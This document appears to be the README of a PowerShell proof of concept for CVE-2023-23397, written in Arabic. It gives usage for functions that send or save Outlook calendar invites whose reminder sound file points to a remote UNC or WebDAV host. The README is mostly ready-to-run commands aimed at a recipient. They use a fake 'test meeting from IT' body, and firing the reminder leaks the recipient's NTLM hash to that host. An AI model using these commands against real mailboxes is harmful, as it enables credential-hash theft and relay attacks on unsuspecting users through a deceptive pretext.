CVE-2023-23397-POC-Powershell

دوال سكريبت لإرسال أو حفظ تسريب NTLM من التقويم باستخدام خيار ReminderSoundFile. قم بتشغيل السكريبت لتحميل الدوال في Powershell، ثم يمكنك استخدام الأمثلة أدناه كنقطة بداية لاستخدام الدوال. يتطلب التشغيل على جهاز Windows مثبت عليه Outlook لأنه يستخدم كائن COM الخاص بـ Outlook لإرسال البريد الإلكتروني. لاحظ أنه سيرسل البريد الإلكتروني من حساب البريد المرتبط بـ Outlook. ستقوم الدوال الحالية بإضافة وقت بدء الاجتماع عند تنفيذ السكريبت وضبطه ليدوم لمدة ساعتين.

الإرسال:

Send-CalendarNTLMLeak -recipient "[email protected]" -remotefilepath "\\10.10.10.10\notexists\file.wav" -meetingsubject "Test Meeting" -meetingbody "Just a test meeting from IT, can be deleted"
Send-CalendarNTLMLeak -recipient "[email protected]" -remotefilepath "\\files.domain.com\notexists\file.wav" -meetingsubject "Test Meeting" -meetingbody "Just a test meeting from IT, can be deleted"
Send-CalendarNTLMLeak -recipient "[email protected]" -remotefilepath "\\files.domain.com@80\notexists\file.wav" -meetingsubject "Test Meeting" -meetingbody "Just a test meeting from IT, can be deleted"
Send-CalendarNTLMLeak -recipient "[email protected]" -remotefilepath "\\files.domain.com@SSL@443\notexists\file.wav" -meetingsubject "Test Meeting" -meetingbody "Just a test meeting from IT, can be deleted"

الحفظ:

Save-CalendarNTLMLeak -remotefilepath "\\10.10.10.10\notexists\file.wav" -meetingsubject "Test Meeting" -meetingbody "Just a test meeting from IT, can be deleted"
Save-CalendarNTLMLeak -remotefilepath "\\files.domain.com\notexists\file.wav" -meetingsubject "Test Meeting" -meetingbody "Just a test meeting from IT, can be deleted"
Save-CalendarNTLMLeak -remotefilepath "\\files.domain.com@80\file.wav" -meetingsubject "Test Meeting" -meetingbody "Just a test meeting from IT, can be deleted"
Save-CalendarNTLMLeak -remotefilepath "\\files.domain.com@SSL@443\file.wav" -meetingsubject "Test Meeting" -meetingbody "Just a test meeting from IT, can be deleted"

اخترق الكوكب!